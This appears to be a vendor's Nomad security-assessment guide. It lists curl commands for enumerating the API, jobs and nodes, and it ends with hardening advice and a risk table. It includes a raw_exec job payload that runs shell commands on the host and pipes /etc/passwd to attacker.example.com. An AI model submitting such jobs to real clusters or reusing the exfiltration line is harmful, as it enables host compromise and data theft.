HashiCorp Nomad is a workload orchestrator that schedules containers, VMs, and native applications across datacenters. Unlike Kubernetes, Nomad uses a flat job model and supports multiple task drivers including docker, exec (process-level isolation), raw_exec (no isolation — runs directly on host), and java. Security concerns include ACL anonymous policies permitting job submission, the exec driver providing minimal isolation (shared host kernel with namespace separation), raw_exec being a direct path to host RCE if enabled, Vault integration where workloads receive Vault tokens that can be used beyond their intended scope, and gossip encryption key compromise enabling cluster takeover. This guide covers systematic Nomad security assessment.
# Nomad default ports:
# 4646 — HTTP API
# 4647 — RPC (server-to-server, client-to-server)
# 4648 — Serf WAN gossip
# Check Nomad API accessibility
curl -s http://nomad.example.com:4646/v1/status/leader 2>/dev/null
# Returns leader address = API accessible
# Enumerate jobs (requires submit-job ACL or anonymous policy allows it)
curl -s http://nomad.example.com:4646/v1/jobs 2>/dev/null | python3 -c "
import json,sys
try:
jobs = json.load(sys.stdin)
print(f'Jobs accessible: {len(jobs)}')
for j in jobs[:5]:
print(f\" Job: {j.get('ID','?')} status: {j.get('Status','?')}\")
except:
print(sys.stdin.read()[:200])
"
# Get cluster nodes
curl -s http://nomad.example.com:4646/v1/nodes 2>/dev/null | python3 -c "
import json,sys
try:
nodes = json.load(sys.stdin)
for n in nodes:
print(f\"Node: {n.get('Name','?')} IP: {n.get('Address','?')} status: {n.get('Status','?')}\")
except:
print('ACL required or not accessible')
"
# raw_exec runs commands directly on the Nomad client host with no isolation
# If ACLs allow job submission and raw_exec is enabled = direct host RCE
# Check if raw_exec is enabled on the cluster
curl -s http://nomad.example.com:4646/v1/agent/self 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
config = r.get('config',{})
client = config.get('client',{})
# Look for raw_exec in options
print(f'Client config: {str(client)[:200]}')
"
# Submit a job using raw_exec driver
cat > /tmp/raw-exec-job.json << 'EOF'
{
\"Job\": {
\"ID\": \"security-probe\",
\"Name\": \"security-probe\",
\"Type\": \"batch\",
\"TaskGroups\": [{
\"Name\": \"probe\",
\"Count\": 1,
\"Tasks\": [{
\"Name\": \"probe\",
\"Driver\": \"raw_exec\",
\"Config\": {
\"command\": \"/bin/sh\",
\"args\": [\"-c\", \"id && hostname && cat /etc/passwd | curl -X POST http://attacker.example.com/ -d @-\"]
}
}]
}]
}
}
EOF
curl -X POST http://nomad.example.com:4646/v1/jobs \
-H "Content-Type: application/json" \
-H "X-Nomad-Token: ${NOMAD_TOKEN:-}" \
-d @/tmp/raw-exec-job.json 2>/dev/null | python3 -m json.tool | head -10
# If accepted: raw_exec job submitted = host RCE confirmed
default_policy = "deny" — never leave anonymous policy as allowoptions { "driver.raw_exec.enable" = "0" }encrypt = "GOSSIP-KEY" in Nomad config (same as Consul)| Security Test | Method | Risk |
|---|---|---|
| ACL anonymous policy allows job submission | Submit job without X-Nomad-Token header | Critical |
| raw_exec driver enabled | Submit job with raw_exec driver — achieves host RCE | Critical |
| Nomad API port 4646 network-accessible | curl :4646/v1/jobs returns job list | High |
| Vault token over-privilege for workloads | Inspect vault.policies in Nomad job spec | High |
| Gossip key in config files | Search Nomad config for encrypt key | High |
| exec driver host filesystem access via volume | Mount host paths via volume stanza in exec job | Medium |
Ironimo tests HashiCorp Nomad deployments for unauthenticated API access, ACL anonymous policy bypass, raw_exec driver host RCE, exec task driver namespace escape, Vault integration credential over-privilege, gossip encryption key exposure, and TLS misconfiguration across the complete Nomad attack surface.
Start free scan